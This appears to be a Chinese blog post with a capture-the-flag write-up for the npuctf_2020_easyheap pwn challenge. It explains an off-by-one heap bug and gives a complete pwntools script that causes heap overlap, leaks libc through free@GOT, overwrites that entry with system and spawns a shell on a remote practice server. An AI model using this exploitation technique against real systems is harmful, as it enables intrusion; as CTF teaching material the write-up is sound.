npuctf_2020_easyheap

这是一道非常典型的off-by-one

先分析源码

 

create函数

先创建一个大小0x10大小的结构体,并且+0是大小,+8是指针

struct

{

size_t size;

char* str;

}

 

 edit函数

编辑结构体的str成员,它这里有个read_input函数,可以溢出单个字节

 

 show函数

一般打印函数都是用来泄露libc地址的

 

 delete函数

释放空间

 

 既然有off-by-one,那么可以尝试堆重叠,来改变下一个堆的地址

而且又因为其创建函数,会先创建一个struct,在创建一个字符串堆,而字符串堆是通过struct堆的*str查找的,也就是说我们只要把这个变为地址变为libc里函数的一个地址

在edit,然后再把system函数给扔进去(got)就会覆盖跳转地址,在调用哪个函数即可

 

 1 from pwn import *
 2 
 3 context.log_level = 'debug'
 4 #p=process('./pwn')
 5 p=remote('node3.buuoj.cn',26446)
 6 elf=ELF('./pwn')
 7 libc=ELF('libc-2.27.so')
 8 def add(size,content):
 9     p.sendlineafter('Your choice :',str(1))
10     p.sendlineafter('Size of Heap(0x10 or 0x20 only) : ',str(size))
11     p.sendlineafter('Content:',content)
12  
13 def delete(idx):
14     p.sendlineafter('Your choice :',str(4))
15     p.sendlineafter('Index :',str(idx))
16  
17 def show(idx):
18     p.sendlineafter('Your choice :',str(3))
19     p.sendlineafter('Index :',str(idx))
20     
21 def edit(idx,content):
22     p.sendlineafter('Your choice :',str(2))
23     p.sendlineafter('Index :',str(idx))
24     p.recvuntil("Content: ")
25     p.send(content)
26 
27 add(0x18,'pppp')
28 add(0x18,'pppp')
29 add(0x18,'/bin/sh\x00')
30 
31 edit(0,'a'*0x18+'\x41')
32 delete(1)
33 
34 payload='a'*0x10+p64(0)+p64(0x21)+p64(0x100)+p64(elf.got['free'])
35 add(0x38,payload)
36 
37 show(1)
38 
39 p.recvuntil('Content : ')
40 libcbase=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-libc.symbols['free']
41 system_addr=libcbase+libc.symbols['system']
42 
43 edit(1,p64(system_addr))
44 #gdb.attach(p)
45 delete(2)
46 p.interactive()

 

posted @ 2020-10-16 20:35  PYozo_free  阅读(429)  评论(0编辑  收藏  举报